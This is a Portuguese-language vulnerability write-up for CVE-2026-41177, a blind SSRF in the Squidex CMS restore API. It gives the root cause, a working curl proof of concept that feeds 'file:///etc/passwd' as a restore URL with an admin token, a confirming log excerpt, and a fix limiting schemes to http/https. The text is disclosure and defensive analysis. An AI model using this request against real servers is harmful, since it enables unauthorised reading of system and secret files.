
CVE-2026-41177, uma vulnerabilidade de SSRF cego no Squidex CMS (anterior à v7.23.0). Inclui análise da causa raiz, etapas de reprodução e avaliação de impacto referente à Interação com Arquivos Locais (LFI).
Pesquisa e análise técnica para CVE-2026-41177: Uma vulnerabilidade de Server-Side Request Forgery (SSRF) Cego na API de Restauração do Squidex CMS.
/api/apps/restore)A API de Restauração do Squidex é vulnerável a Server-Side Request Forgery (SSRF) Cego. A aplicação não valida o esquema de URI do parâmetro Url fornecido pelo usuário, permitindo o uso do protocolo file://. Isso permite que um administrador autenticado force o servidor backend a interagir com o sistema de arquivos local, levando à Interação com Arquivos Locais (LFI) e à possível divulgação de informações sensíveis do sistema por meio de análise de canal lateral dos logs internos.
file:///etc/passwd).RestoreJob).204 No Content, os logs internos do servidor revelam que o servidor abriu e leu o arquivo com sucesso antes de falhar porque o conteúdo não era um arquivo ZIP válido.Execute o seguinte comando curl (substitua <TOKEN> por um token de administrador válido):
curl -X POST http://localhost/api/apps/restore/ \
-H 'Authorization: Bearer <TOKEN>' \
-H 'Content-Type: application/json' \
-d '{
"Url": "file:///etc/passwd",
"Name": "exploit-poc"
}' -v
O seguinte erro nos logs do contêiner do Squidex confirma a interação interna com o arquivo:
{
"logLevel": "Error",
"message": "Backup with job id 381bcfcb-3701-44d0-a8c8-ea43b3ec6271 from URL 'file:///etc/passwd' failed.",
"exception": {
"type": "System.IO.InvalidDataException",
"message": "End of Central Directory record could not be found.",
"stackTrace": "at System.IO.Compression.ZipArchive.ReadEndOfCentralDirectory()\n at System.IO.Compression.ZipArchive..ctor(Stream stream...)\n at Squidex.Domain.Apps.Entities.Backup.BackupReader..ctor(...) in BackupReader.cs:line 42\n at Squidex.Domain.Apps.Entities.Backup.TempFolderBackupArchiveLocation.OpenReaderAsync(...) in TempFolderBackupArchiveLocation.cs:line 57"
}
}
Nota: A InvalidDataException confirma que o servidor acessou e leu os bytes do arquivo com sucesso.
Esta vulnerabilidade permite que atacantes autenticados:
appsettings.json, segredos).http:// e https://.file:// antes do processamento.